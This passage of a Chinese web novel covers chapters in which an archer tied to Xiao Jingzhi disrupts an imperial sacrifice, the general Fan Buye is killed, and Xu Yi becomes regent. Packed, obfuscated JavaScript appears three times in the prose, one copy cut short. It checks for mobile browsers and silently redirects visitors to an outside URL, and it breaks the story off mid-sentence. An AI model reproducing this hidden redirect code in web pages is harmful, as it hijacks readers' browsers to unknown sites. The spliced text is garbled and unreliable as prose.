萧静之从被窝里钻出来,又将许弋搂在怀中,“不想你进宫去。” 许弋轻轻拍了拍他的背,“无妨的,我是去参加郊天大礼,守卫很是齐全,不会出什么意外的。” 萧静之还要再说,许弋把他按回了被窝,掖着他的被角道,“不准耍赖,等我回来。” 萧静之看着许弋匆忙外出的背影,心中波涛汹涌。 *** 大庆殿的广场上,一座青铜巨鼎立在中央,赵凝手中持着一枚手腕粗的回灵香,朝着正北方向缓缓下拜。 许弋踩着时辰匆匆赶到,急得给她引路的小果子满头大汗,“殿下您总算是来了,您要是再不来,咱家这小命可要丢了。” 许弋带着歉意缩了缩脖子,“我没有迟太久吧?” 都怪萧静之太缠人了,可恶,她又被他的美色|诱惑了。 “还好还好,但凡是在启程前来了,便没什么问题。”小果子说着,已将她引到了位置上。 许弋刚站定,只见赵元侧过头来,对着她眨了眨眼,她微微点头回复,连忙调整姿势站好。 不远处,赵凝手持香柱走向青铜巨鼎,两位礼官扶着她长长的衣袖,以免黄袍被浮动的香灰沾染。 许弋看着赵凝的背影,心中猛然一跳,赵凝当初到底为什么派人来刺杀她? 她那时刚穿过来不久,莫不是无意中做了什么触到了她的逆鳞?可皇帝的逆鳞……不就只有皇位了吗?苍天呐,到底是什么事让赵凝以为她想抢她的位置啊。 回想起来,那些信任与期待格外得真挚,不像是演的。若赵凝一心想要她的小命,她在宫里那么长时间,她随便使个法子就能让她无声无息地没了。 现在赵凝还让她护着赵元参加郊天大礼,这是放下对她的怀疑了么? 下一瞬,只见赵凝回过身,瞥了她一眼,朗声道,“摆驾,景灵宫。” 许弋只觉得脖子上一凉,连忙收回眼神。 两排铁骑卫士率先开道,他们出自侍卫亲军马军司,面容俊美,身型高大。 铁骑后是身穿五色甲胄的殿前司礼仪卫,他们手执高旗大扇,随着队伍缓缓前行。 为首的两面旗子高达五丈,上面画着两只金凤,其后的旗、扇面上则画着巨龙、猛虎、山河、祥云等各类图案。 都指挥使赵简走在队伍旁,他一声“舞”,旌旗猎猎,在风中涌动起来,宛若蛟龙出海,猛虎戏珠,端的是威风凌凌。 等赵凝坐上玉辂,轿夫们齐声一喝,稳稳地抬着巨大的凤辇,不紧不慢地跟了上去。 百官们乌泱泱地一片坠在后面,尾大不掉。他们有些来得早,已然跪了个把时辰,现在只能忍下膝盖上的不适,憋着一口气前进。 许弋睡了一个饱觉,自然是神清气爽,她脚步轻快地走在玉辂边,看着弯折的队伍,脑海中莫名蹦出了百鬼夜行的场景。 赵元人小鬼大,表面上目不斜视地端着架子前行着,实际上一对儿眼珠时不时乱飘。 昂起胸膛故意端着架子的礼仪卫,不小心绊了一跤的小黄门,擦着鼻涕的老臣都被她尽数收入眼中。 景灵宫前,庞大的队伍停了下来,赵凝挥了挥手,便有两个小黄门分别引着赵元和许弋走上前去。 “大昭第六代女帝赵凝,实在身体抱恙,对列祖列宗告罪于此。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵泓旁边的是太宗赵丹,民间有歌谣,太祖打天下,太宗治天下,说得便是太宗革除朝野弊端,实行仁和新政,推行“轻徭薄赋”、“与民休息”,改善百姓生活的诸多举措。 太宗在位的三十年,被视为大昭立国后的盛世,史称“丹华之治”。 太祖太宗后,还有显帝、惠帝、熙帝……礼官一位位讲下去,赵元与许弋一位位叩拜下去。 等到拜完熙帝,赵元起身时支撑不住,一个踉跄就要跌向前去,幸亏许弋眼疾手快扶住了她。 “殿下辛苦了。”许弋在她耳边轻声道。 赵元对着许弋弯了弯眼睛,初时的顽皮姿态尽去,眼底只剩下疲惫了。 礼官看了一眼二人,倒是没有说话,静静地又往里走了过去。 一张空白的画像出现在众人眼前,赵元与许弋对视一眼,心中满是不祥的预感,这莫不是赵凝为自己备的? 拜完祖宗,礼官又带着二人为数十位文臣武将上了香,其中有位怎么看怎么像谢珉怀,但许弋已经被回魂香熏得头昏脑胀起来,完全不能思考了。 这一套吃人的礼教啊,封建社会真是罪大恶极啊!人们本来生而平等,却偏偏要划出什么尊卑贵贱,再向老天讨个由头,来演这一场大戏。 等出了景灵宫,天色都已暗了大半,被冷风一吹,许弋脑子总算清醒过来了。 此时,看着二人走出殿来,赵凝从玉辂上走了下来。礼官引着赵元向前走去,许弋则走到玉辂右侧站定。 赵凝轻轻托了赵元一把,扶着她走了上去。 等路过许弋身侧时,她用几不可闻的声音道,“替我护好元儿,回来你就是摄政王,一人之下,万人之上。” 可我不想当摄政王啊……许弋侧过头看着赵凝远去的身影,瞬间感到被一块大石压住了。 “起驾!”玉辂上的近侍扯着嗓子喊道,许弋连忙回神,跟着队伍前进。 这才是刚刚开始,拜完祖宗后是车象队的游行,游行完需入住太庙,次日再奉神主出南薰门,前往南郊青城斋戒沐浴。 等到第三日才真正前往郊坛,行祭祀大礼。 许弋心中哀嚎一声,第一天才过了一半,她就已经能量耗尽了啊……………… 20. 呜呜 难熬的两天终于过去了。 青城斋宫,嘉德殿内,许弋一头倒在了床上。 她的肚子咕噜噜地叫起来,这两天她把穿越过来三个月的路都走了,饭也没得吃,觉也没得睡,真是让不让人活了啊…… 许弋撤下头上的礼冠,翻了个身,自我催眠道,睡吧睡吧,睡着了就不饿了。 朦胧中,许弋感觉脸上痒痒的,她伸手一挠,却抓住了一只猫爪子。 “乌纯声!”许弋一声惊呼坐了起来。 “你怎么进来的!斋宫戒备森严,郊野外的军队就有三千人,宫内的巡检更是严阵以待,连一只鸟儿都飞不进来的,你这只小猫咪是怎么……” “咕噜噜~咕~~”话还没说完,她的肚子又叫了起来。 乌纯声的眼睛闪了闪,晃了晃他圆圆的脑袋道,“就知道你熬不住。” 许弋这才看到,乌纯声的脖子前挂着一个小小的红色锦囊,她拉过来抽开长绳,一股喷香的牛肉味就从里面冲了出来。 是牛肉饼!还是热乎的!许弋连忙将口袋又束了起来,推到乌纯声面前,“拿走!拿走!元儿一个小孩子还在挨饿,我怎么能在这里吃东西。” 乌纯声抖了抖胡子,“你的元儿不会挨饿的,天潢贵胄没有真的斋戒的,她身边的近侍会给她暗中备好吃食的。” 许弋蹙眉,看着牛肉饼咽了咽口水,“真的吗?可是为什么没有近侍给我备啊?” 乌纯声白眼一翻,“因为从来没有亲王跟着一道来祭‘皇帝位’的啊。” “也不知道女帝是故意折磨你,还是把这些小事给忘了,她没有给你配近侍,赵元的近侍就算想到了也不敢侍奉你的。” 许弋干笑一声,摸出牛肉饼一口咬下去,顿时两眼放光,啊!总算是活过来了。 呜呜呜,她这个什么破逍遥王,当的真是太惨了。 乌纯声看着许弋狼吞虎咽的样子,安慰道,“先垫垫,熬过明天的大礼就好了。” 许弋舔了舔嘴角的碎屑,仍旧有些意犹未尽,她转头看着乌纯声,他应该不会这么好心专门给自己来送吃的吧。 “乌纯声,你来找我是有什么新的消息吗?” 乌纯声点点头道,“一个好消息,一个坏消息,你要先听哪一个?” 许弋一把捉住乌纯声搂在怀里蹂躏起来,“你还在我面前卖关子?还不快点说!” “停停停!我说我说!你快点把我放下来!” 乌纯声抗议道,看来以后不能附在猫儿身上来见赵芙这个疯女人了,下次附在刺猬身上来找她,看她还敢不敢乱捉。 啊,好舒服啊,许弋揉着狸花猫的肚皮,只觉得疲惫尽去,浑身舒适。但乌纯声已经开始蹬腿抗议了,她只好恋恋不舍地松了手。 乌纯声从许弋怀里跳下来,:“好消息是樊不野顺利拿下了宋江,正在星夜兼程地往京师赶。” “他被任命为都防御使,将带领六百亲军前来护卫明日的大礼。” 其实他昨日一早便收到了消息,但太庙的守卫太过森严,他确实没能溜进去,所幸斋宫的防护稍稍弱些,终是让他有机可乘了。 许弋点点头,虽然当时听到宋江的名字让她有些出戏,但是《水浒传》实在是太有名了,他被招安也是意料之中的事,她反倒对樊不野放心不少。 “那坏消息是什么?” 乌纯声喵喵了两声道:“萧静之他不见了……” “什么?!你说什么?!”许弋只觉心头一梗,捉着乌纯声道,“好端端的,怎么又不见了?” “赵芙!你松手!你再这样我以后不来找你了!”乌纯声喵呜一声哀叫道。 “对……对不起,是我太着急了。”许弋放开乌纯声,摸了摸他的脑袋。 乌纯声偏过头,有点委屈巴巴地道,“他若是铁了心要从你身边逃开,你关得住他的人,关得住他的心吗?” “我不是想将他关起来……我是怕大理寺的人找到他。”许弋辩解道,可是现在再讲这些又有什么用呢。 “派暗影卫去找了吗?暗影卫不是什么消息都能探听到吗?何况是这样的一个大活人。” 乌纯声撇撇嘴,“萧静之身上有巫的血,他若是用了什么特别的术法,和耶鲁里签订契约的暗影卫找不到他也是正常。” 一瞬间,许弋感觉身上所有的力气都被抽走了,萧静之还是选择离开她吗? 乌纯声看着她颓丧的样子,安慰道,“人和人的相遇,就是这样的,总会有人在你身边停留,也总会有人从你身边离开。” “说不定哪一天,他想通了,就回来了。” 初时收到萧静之失踪的消息,乌纯声并没有马上派暗影卫去找。 他心里甚至松了口气,不见了也好,赵芙是真的对他上心了,每每想到殿下为他焦急,为他落泪的模样,他心中就总是堵着一口气。 这还是那个万花丛中过,片叶不沾身,投掷千金,只为红颜一笑的逍遥王殿下吗? 原来她动起情来是这个样子的,竟也与凡夫俗子没什么不同。 他的心里有一点点唏嘘,又有一点点落寞,这样世俗的关爱,如果落到他的身上,他又何尝不会珍惜? 但酸涩归酸涩,该他做的事他一样都不会少做。 只是等到暗影卫寻遍京师都没有找到萧静之道的时候,乌纯声才觉得大事不妙,仅仅半日的功夫,他到底能躲到哪里去? 许弋的脑袋混沌不已,她以为他对她是有眷恋的,原来只是为了让她放松警惕好再次溜走吗? 此时,她只觉得心中一片苍凉,“不会了,他已经从我身边逃开两次了,他不会再回来了。” 乌纯声心头一软,他还要再说,甲胄摩擦的声音从门外传了过来,“殿下,三更天了,该梳妆更衣了。” “咚”“咚”“咚”叩门声三响后,殿门大开,女官们端着特质的礼冠礼袍走了进来。 许弋往乌纯声的后背轻轻一拍,狸花猫“哧溜”化作黑影,几个闪身向外跃去。 女官们的裙边被带得飘浮起来,她们并未在意,还以为这只是冬日里的一股寻常的冷风罢了。 不多时,斋宫前的广场上,穿戴整齐的许弋站在玉辂边,与百官一同候命。 片刻后,大地微震,马儿的嘶鸣之声从不远处传来。 许弋寻声看去,只见青城山前,一位手执长枪,身披铠甲的少年将军牵着一匹白马,从如金蛇般涌动的万道光芒中走了出来。 这正是刚从战场归来的樊不野,他的身后是六百铁骑亲军,与都指挥司用来装点门面的铁骑卫士全然不同,那都是真正从战场浴血奋战杀出来的战士。 突然间,甲胄互相撞击的声音倏忽间响彻山谷,儿郎们齐齐从马儿上翻下身来,冲着斋宫拜下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13968141|146155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原来是赵元从斋宫中走了出来,她冲着东方奋力扬起袖子,骑兵们这才站了起来。 许弋侧头看向赵元,眼前的人儿头戴通天冠,身着绛红色大袍,正手捧着元圭在礼官的引导下一步步往玉辂上走去。 许弋差点没有认出来,赵元眼中那份古灵精怪已经没有了,取而代之的是庄重、华贵,还有一丝麻木。 “起!”玉辂上的近侍甩着拂尘,尖着嗓子喊道。 六百铁骑分作两排,露出了通往青城山郊坛的大道。 或是骑着马、或是举着旗的礼仪卫先行出发,随后是赵元那雕着镂金莲花的大辇,再是文武百官,最后是各类负责随行杂事的亲从官、亲事官等。 从樊不野身前经过的时候,许弋闻到了一股淡淡的铁锈混合着风霜的味道。 仔细看去,他的脸颊粗糙了些,下颚上冒出了青青的胡茬,眉宇间的轮廓更显深邃。一条结了痂的伤疤从右边的眉毛里冒出头来,更为他凭添了一股杀伐之气。 在府里的拘谨,在她面前的羞赧,还有那一点点少年人的傻气,全都消失不见,原来这才是樊不野本来的样子吗? 樊不野迎着许弋的目光,眼眸微弯。 殿下今日的礼服甚是繁重,她头戴卷元冠,身着深青色的直领对襟大袖衫,容颜端庄明媚,以往那股吊儿郎当的做派也尽数隐去了。 铺满金绣云霞的帔子绕过她的头颈从两肩垂下,直到膝盖处才由一块碧绿的蝉形宝玉扣在一起,宝玉下坠着长长的流苏,随着她的脚步前后摇摆。 樊不野看着晃动的帔坠子,一时间竟看得痴了,直到副将崔逢在旁微咳了好几声,他才回过神来,带着队伍跟了上去。 青城山并不高,反而走势十分和缓,不然皇家的祭坛也不会设在这里。 但浩浩荡荡几千人同时登山,即要时刻注意前方太女的动向,又要兼顾自身仪态的端庄,竟是比平时多花了三倍的时间才上得山来。 终于,当太阳升到正空的时候,祭坛外的壝墙从茂密的树丛中露出了头角。远远看去,在一棵高大的银杏树旁,一座三层祭坛赫然而立。 坛前左右两侧各设有一组编钟与玉磬。 正方形的祭坛立在七十二级的台阶上,东西两侧各摆着一个红木高台,高台上都立着漆金牌位,东边的刻着“昊天上帝”,西边的刻着“太祖皇帝”,是等会儿需要祭拜的对象。 不多时,大队伍停下来,近侍与礼官引着赵元到坛下的帐幕中休憩。 众人站定后,叶静能带着三位乐使来到坛下,敲响了编钟玉磬。 随后,数十名乐手抱着乐器站在台阶中央站成三排,或是抚弄长琴,或是拨弹琵琶,或是含气吹箫,不一而足。 在庄重典雅,古韵悠扬的乐曲声中,歌者、舞者先后登坛,分别唱响了献给上天的祷文,表演了敬给大地的舞蹈。 等乐手、歌者、舞者相继退下后,两位礼官才引着赵元、许弋先后向郊坛之上走去。 殿中监向着正东方位一拜,先为赵元、许弋先后呈上了酒盏。 正当赵元接过酒盏,准备朝着正北方向毕恭毕敬地拜下去时,只听“嗖”得一声,一只利箭破空而来,扎在了她身前的红木高台上。 箭上的羽毛颤动起来,如响尾蛇的尾巴般嘶嘶作响。 这场纷繁复杂,矫揉造作的表演瞬时落下了帷幕,郊天大礼,乱了。 21. 萧静之这个狗! 当赵元与许弋先后登上郊坛时,萧静之正与一众北燕勇士偷偷藏身在青城山东侧浓密的山林之中。 一个月前,萧静之收到传讯,女真一族来势汹汹,竟打得燕武帝丢兵弃甲,落荒而逃。 阿骨打刚刚打下黄龙府后不久,燕武帝退守燕京,一路向西逃往鸟不拉屎的夹山。 据说,燕京守将李处温与都统萧幹、宰相耶律大石合谋,另立耶律淳为帝。 据说,燕武帝急中生智想起他这个被丢在大昭苟延残喘的儿子,在逃跑的路上还不忘封他为太子。 最初只是母亲的密令,更为疯狂的是阿舅渤鲁恩竟带着奚族的勇士来到了他的身边,有些事,他已经不得不做了。 起伏的山坡背后,渤鲁恩眯着一只眼看着机弩中一大一小两个身影,心思起伏不定。 “静之,哪个是皇帝?” 萧静之把阿舅的机弩按了下去,“她们都不是,左边的是太女赵元,是昭文帝的女儿,右边的是逍遥王赵芙,是她嫡亲的妹妹。” 渤鲁恩莫名得觉得逍遥王三字有些耳熟,好像在哪里听到过,但怒气很快将他脑海中的疑惑冲了开去。 他脸颊边粗长的胡须张狂地抖动着,“狗皇帝!自己当缩头乌龟!反倒把女儿和妹妹推了出来。” 萧静之摇了摇头,他原本就不是很赞成此次的行动,大昭的军队已经快到燕京了,就算换个皇帝也来不及了。 “赵凝身体原本就有亏空,近年来更是每况愈下,大有油尽灯枯之相,她如此作为也在情理之中。阿舅,既然赵凝不在,不如我们就此收兵吧。” “我不管!”渤鲁恩将机弩往萧静之手里一塞。 “狗皇帝总有个继承人吧,不是左边那个小的,就是右边那个大的,随你的便,你射掉一个!” 萧静之将机弩拿在手里,只觉得它滚烫异常。 金丝楠木只是用以自保的机括,机弩才是真正的杀人利器。 “阿舅,刺杀仅系我一人安危,尚有可为之处。但如此攻上青城山,无论是胜是败,必是一场恶仗,非丢了勇士们的性命不可。” 渤鲁恩眉毛竖起,“阿骨打那帮蛮子兵,杀起人来凶狠至极。” “将士们若留在北燕,要么是给金贼送人头,要么是护着你软骨头的老爹跑到犄角旮旯去,这都有什么意思!” “还不如拉着大昭和我们一起陪葬!要不是这狗皇帝背信弃义,北燕也不会有今日!” 渤鲁恩说着就要来抓机弩,“你小子射不射,你不射我来!” “我来,阿舅,我来。”萧静之侧开一步,若是阿舅真的射杀了赵元或者赵芙……他有些不敢想。 萧静之缓缓抬起机弩,从赵元的背心挪到了赵芙的背心,又从赵芙的背心挪到了赵元的背心。 拉着大昭一起陪葬么?为什么听起来那么诱人?如果他杀了她,再躺在她的身边,从此与她一同长眠地下,那么他二人是不是就能永远不分离了。 萧静之指尖微动,“嗖”得一声,弩箭从机身中飞射而出,向着郊坛中心奔去。 渤鲁恩大气也不敢出,眼睛紧紧追着弩箭,它就快到了,就快到了。 眼看弩箭即将没入的赵芙背心,却偏了个道向着赵元射去,当弩箭就要命中赵元时,却擦着她的肩膀钉在了红木台子上。 蓦得,萧静之心中松了口气,“阿舅,是我学艺不精了。” “哈哈哈,无妨,静止!就凭你射出的这一箭,阿舅就知道你在大昭没被养废。” 渤鲁恩拔出长刀,翻身上马,振臂一呼道,“兄弟们!冲啊!砍了大昭这些狗娘养的们!” “阿舅!”萧静之徒然地追了几步,只能眼睁睁看着他的阿舅和奚族的勇士入飞蛾扑火般冲了出去。 倏忽间,战火如狂风般席卷了青城山寂静的山林。 战况异常惨烈异常,奚族的勇士虽都骁勇善战,但他们总共不到七八十人,到底还是抵不住大昭如蝗虫般前赴后继的将士。 尤其里面还有樊不野和他的亲兵!他们曾驻守大昭北线,很是清楚契丹士兵的作战习性。 小山坡上,萧静之站在高处,总览着战局。 只一眼,他就看到了拼杀在前线的樊不野,他刚刚舞着长枪将两个奚族的勇士捅了个对穿,现下刚和他阿舅迎面撞在一起。 “哐”“哐”“哐”兵刃相撞间,双方已不下交手数十次。 终于,樊不野看准时机,一枪挑飞了渤鲁恩手中的长刀。眼看着长枪再次袭来,渤鲁恩反手挥出挂在鞍边的铁盾,向着樊不野狠狠砸去。 樊不野以守为攻,一杆长枪舞得如游龙惊凤,四连拨千斤地化开了渤鲁恩的道道重击,渤鲁恩不怒反笑,提盾在攻,与他打得难分难解。 萧静之抬起机弩,对准了两人所在的方向。 大昭年轻一代的将领里,对北燕的地形最熟悉,又最有领兵作战经验的,便是樊不野无疑了。 要拉着大昭一起陪葬,杀几个皇帝恐怕都不管用,不如杀了他们最勇武的将军! 双方交手间,樊不野一声喝,他的马儿嘶鸣着立起雪白的前蹄,他顺势起跳踏在鞍上,挥舞长枪压在了渤鲁恩的铁盾上。 与此同时,他的整个后背也暴露在了萧静之的射程范围之内。 就是现在!萧静之毫不犹豫按下了机弩上的钩键,樊不野,这辈子是我萧静之对不起你了。 国仇家恨在前,还愿你到了地下不要恨我。 *** “驾!”车夫狠狠抽了一鞭在骏马肌肉虬结的背上,马车颠簸着从青城山下逃命般地驶出。 赵元小脸发着白缩在许弋的怀中,许弋紧紧抱着她,“元儿,没事了,没事了。” “姨姨,我害怕。”赵元将脸埋入许弋的胸前闷声道,她清楚地知道,她刚刚差一点就死掉了,如果人死了,是不是什么都没有了。 “元儿别怕,有姨姨在。”许弋拍着赵元的背心,一下又一下。 许弋的脑子疯狂地转动着,北线的防守竟然疏忽至此吗?这么多契丹兵也能混进大昭,回去一定要向赵凝建议,派樊不野重驻北线。 等等,突然出现的契丹兵,消失不见的萧静之,此事难道是他在背后搞鬼? 想起郊天大礼前一夜的耳鬓厮磨,许弋顿觉毛骨悚然,萧静之他与此事绝对脱不了干系。 马车驶入南薰门后,颠簸终于渐渐平息,车速也在御街上渐渐慢下来。 到了熟悉的宣德门前,那种死里逃生的恐慌感才终于从许弋的心底逝去了,她看到赵元的脸色也缓和不少。 当她抱着赵元从车凳上下来时,竟看到赵凝亲自从宫门内奔了出来。 她任由头发胡乱地在脸上拍打着,任由衣袍被冷风吹得不成体统,任由左脚的鞋跑丢在宫道上,满脸担忧,一身狼狈。 “陛下……”以小果子为首的一般太监宫女,正提着赵凝的鞋子、捧着金钗、拾起她的衣袍急急地追在她的身后。 “元儿!芙儿!”赵凝猛冲过来,如鸟儿展开羽翼般张开双臂,将赵元和许弋通通揽入怀中。 “娘亲!元儿差点就见不到你了!”赵元哇得一声哭了出来。 “都是娘亲不好,都是阿姐不好,派你们两个去劳什子的郊天大礼。” 赵凝说着竟落下泪来,她一个半只脚走进了阎王殿的人,若是得知了女儿和妹妹的死讯,还要她怎么活!还要她怎么活! 老天呐,让所有的飞箭的利刃都冲着她来吧,让所有的恶果都让她来承担,不要再殃及旁人了! “阿姐……没事的,我们都回来了,身上一点伤也没有的。” 许弋只觉脖子里一凉,她忽然反应过来,那是赵凝无声的眼泪。 她的眼眶也湿润了起来,那些解不开的疑团就随她去吧,她阿姐是真心在乎她的。 “好。回来就好。”赵凝努力地克制住心中的悲痛,松开了二人。 “传令下去,从此我大昭再无郊天大礼!礼废于此!祖宗要是追究,就冲着我赵凝来!”赵凝仰面对着乌云蔽日的昏暗天空,怒吼道。 “轰隆”一声闷响,一道天雷劈开浓厚的云层,在宫城上空投下刺眼的白光。 “哈哈哈哈哈哈,无情的苍天啊!有种你劈了我啊!你劈啊!”赵凝对着苍天疯笑起来,情至癫狂。 *** 是夜,崇政殿,枢密副使文广通紧急来报。 “陛下,微臣都查清楚了,白日里急攻青城山的是北燕奚族的‘怨军’,他们曾助北燕对抗女真一族,十分骁勇善战。” “此次来人共有六十九名,均为我军悉数拿下,只是樊不野将军他……” “你说什么?北燕的兵怎么来的我京师?” “北线守着的那几个都是吃干饭吗?!朕每年运过去那么多军饷,都是喂了狗了吗?”赵凝站起身来怒问道。 “启禀陛下……”文广通还要再说,却见昭文帝一头栽到在案几上,带得奏章、文书呼啦啦滚了一地。 “陛下!”文广通惊呼道。 “传太医!”小果子惊慌地喊叫起来,撒丫子便蹿到了赵凝身边。 许弋匆匆赶到福宁殿,却见一众太医将赵凝团团围着,为她扎针、推拿,忙得忙头大汗。 她看不真切,便走近了几步,却见赵凝歪斜在塌上,身体抽搐,嘴角歪斜,涎水不住地从她的嘴角漫出,落到金黄色的褥子上,染出一片深深的影子。 赵凝她……是中风了,许弋反应过来。 “何太医,针灸、推拿,都试过了,牛黄清心丸、气运再造片都喂了,都不管用。” 许弋侧过头,看见太医毛无竭抹着额头上的汗,对翰林医官使何初平说道。 “拿回春丹给我,我再试试。”何初平摸着他花白的胡子决断道,他决定给昭文帝下一剂猛药。 回春丹名字听着温和,但药力刚猛,或许还会有盗汗、惊厥等副作用,但若在第一次大厥发作的时候救不回来,此后就再难了。 不多时,一个赭色的小方盒被送了上来。 何初平打开方盒,握着白玉般的丹药放入赵凝的口中,老太医在她的脖颈两侧一阵推拿,终于,赵凝的喉间起伏,顺利将它咽了下去。 福宁殿内陷入了长久的沉默,所有人都默默地站在殿中,一动不动,大家都在等,等赵凝重新清醒的那一刻。 许弋的思绪游离起来,与赵凝相处的一幕幕从她脑海中划过,她突然意识到,她是她在这个世界唯一的亲人。 “芙儿……芙儿……” 当熹微的晨光透进福宁殿时,窸窸窣窣的声音传来,是赵凝在挪动身体,所有人的目光都瞬间亮了起来,女帝的意识恢复了! 赵凝昂着脖子,转动着她浑浊的眼睛,到处寻找赵芙的身影。 “阿姐!我在这里。”许弋奔至赵凝的床前,紧紧握住她的手,贴在自己的脸上,“阿姐,芙儿就在这里,一直守着阿姐,哪里都不去。” “好,芙儿……诏书……诏书在大庆殿的匾额后面,大昭以后……就交给你了。”赵凝用尽全力说完这句话,嘴角再次歪斜起来。 不多时,她发出嘿嘿的傻笑声,眼神呆滞。 “阿姐!阿姐!”无论许弋再怎么唤她,赵凝都是一脸痴相,她的手抓着许弋的头发,乱扯起来,竟像一个三岁的孩子一般。 “何太医!我阿姐怎么刚刚清醒又糊涂过去了!”许弋转向何初平,心焦地向他求助,“阿姐到底能不能好了!” “殿下莫急!待老臣再看看。” 何初平从赵芙身侧捉住赵凝的手,细细地把起脉来,“由大厥引发的半身不遂已被缓解,但对神智的恢复还不知道要多久,老臣也没有把握……” “嗡”得一声,许弋只觉得眼前的人旋转起来,连带着屋顶都随之转动。 许多声音混杂在一起,一会儿近一会儿远,听不真切,恍惚中,一个念头浮现在她的脑海中,赵凝生性如此要强,她若是知道自己现在是这幅样子,大约恨不得去死吧。 *** 国不可一日无君,许弋愿意长伴赵凝身侧,等到她醒来的那一天,可满潮的大臣没有一个愿意的。 毕竟,一切都有昭文帝的诏书在前,顺理成章。 宁和三年末,昭明帝赵元即位,改元嘉定,赵芙任摄政王,辅佐年幼的明帝处理朝政。 崇政殿,赵芙看的第一道奏章,就是枢密副使文广通递上来,赵凝没有看完的那一道。 青城山之战,六十九个契丹兵的脑袋,竟是三百多大昭士兵在尸山血海里用命换的,这一仗打得可真是憋屈啊。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14006890|146155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 看到奏章的最后,许弋“腾”得从案前站了起来,“都防御使樊不野,胸前为短箭贯穿,当场身亡。” 樊不野死了?!!! 他就这么死了?!!! 悄无声息的?!!! 她还想把他派往北线的啊,他怎么能死呢,怎么能啊! 不,她不相信,除非她亲眼看见他的尸……许弋不敢再想。 “小果子!备车!本王要去将军府!”许弋踢开案几朝殿外走去。 “殿下,敢问是去哪家……”小果子匆匆追上她的步伐。 “樊将军,樊不野的府邸啊!”许弋愠怒道。 樊不野当年在北线舍生忘死,满朝文武却视若无睹。 赐婚之下,铁血将军一朝卸甲,委身给昏聩的女王爷,却成为了街头巷尾的谈资。 没有人记得他的功勋,没有人记得他的勇武,如今连他死了也没有人提起,这天下的人……都在看他的笑话。 樊将军府,一片素缟。 许弋一下车,便看见一位身着麻衣的苍老妇人,拄着一只上粗下细的龙头杖,立在门前等候。 老妇人的背微微有些坨,藏在宽厚的白衣中并不明显。风霜藏在她看上纵横的沟壑里,好似显得冬天格外冷些。 那是樊不野的祖母樊玄英,大昭最后的女将,素有女战神的美名。 彼时大昭西南有叛军将领自立为王,国号为滇,樊玄英于万军之中连投三枪将之毙于马下,可谓是一战成名。 后来,她又平定了雄州、雷州等多地的叛军,到头来还是被先帝夺了兵权。 “传闻殿下身边美人无数,与不野并无多少深情。” “怎么,我的孙儿不在这世上了,殿下反倒知道珍惜了?”樊老夫人见许弋走近,冷言道。 许弋心中一痛,“樊老夫人,是我对不起樊不野……” “也罢,殿下不必如此做派。既然来了这里,老身也不能把殿下拦在门外。” 樊老夫人说着便转身向府里走了进去,在她眼里,姓赵的都虚情假意,没有一个好东西,她的孙儿没了倒是惺惺作态地来哭丧了。 许弋垂下头,跟着樊老夫人静静地往府内走去。 寒风吹起长长的丧幡在空中飘荡,偌大一个将军府简直没有几个人,更显冷寂萧瑟。原来这就是樊不野的家吗? 她把他在逍遥王府的停留当作了理所应当的事情,觉得他不是在王府便是在京郊大营,从来没有想着与他一道回家看看,也不知道赵芙有没有和他一道回过门。 踏进灵堂的那一刻,看见樊不野的牌位,许弋心中生出一种荒谬之感。 好好的,活生生的,前一刻还在对她笑的七尺男儿,怎么就变成了一张刻了字的木牌。 家丁将燃好的长香递了过来,她接过来,跪拜,上香,如堕梦中。 “好了,香也上了,还请殿下……”樊老夫人还没说完,却见许弋站起来,绕过香案,往灵堂内走去了,她连忙加快脚步追了上去。 “老夫人,我能……再看看他吗?”许弋抚着厚重的棺盖不舍道。 “殿下,节哀,生死乃兵家常事。” 樊玄英脸上的沟壑动了动,她把一生都献给了大昭,儿女也悉数命丧敌手,膝下唯有阿野和阿英两个孙辈。 如今不野也去了,白发人送黑发人,心中怎能不痛,家里若是有人再为大昭卖命,她就不姓樊! 许弋将侧脸轻轻贴在棺盖上,似乎这样还可以离樊不野再近一些。 原来,青城山下,大礼前夕,匆匆的那一瞥已经是最后一面了吗?眼泪无声无息地流下来,落在花样繁复的棺盖上。 樊老夫人脸上冷硬的神情终于柔和下来,看来传言似乎不实,逍遥王并不是薄情寡义之人。 她走到许弋身旁,用枯树皮般的老手擦去了她脸上的泪水。 “孩子,老身活了一把年纪了,算是看透了,人的命自个儿做不了主的,老天想要的时候,管你是恶是善,是男是女,是老是少,它想收便收去了。” “我又何尝不想阿野能够回到我的身边,用我这把老骨头的寿数尽数去换也可以。” “可老天不要我这把老骨头啊,他要的是阿野,我们又能有什么办法呢。” 她当年将南滇王一箭穿心,如今阿野如今也是这样的死法,这是老天给她的报应啊! 许弋强忍着内心的悲痛站了起来,她与樊不野又算是相识多久呢,樊老夫人才是最伤心的人罢,她又有什么脸面,要她的祖母劝自己不要伤心呢。 “樊老夫人,是我打搅了。”许弋哽咽得说不出话来。 还没出灵堂,只见一个削瘦的身影急急地跑过来,扑在了许弋脚边,“殿下!兄长没有打完的仗我来打!兄长拼了命守护的大昭也请让我接着守护吧!” 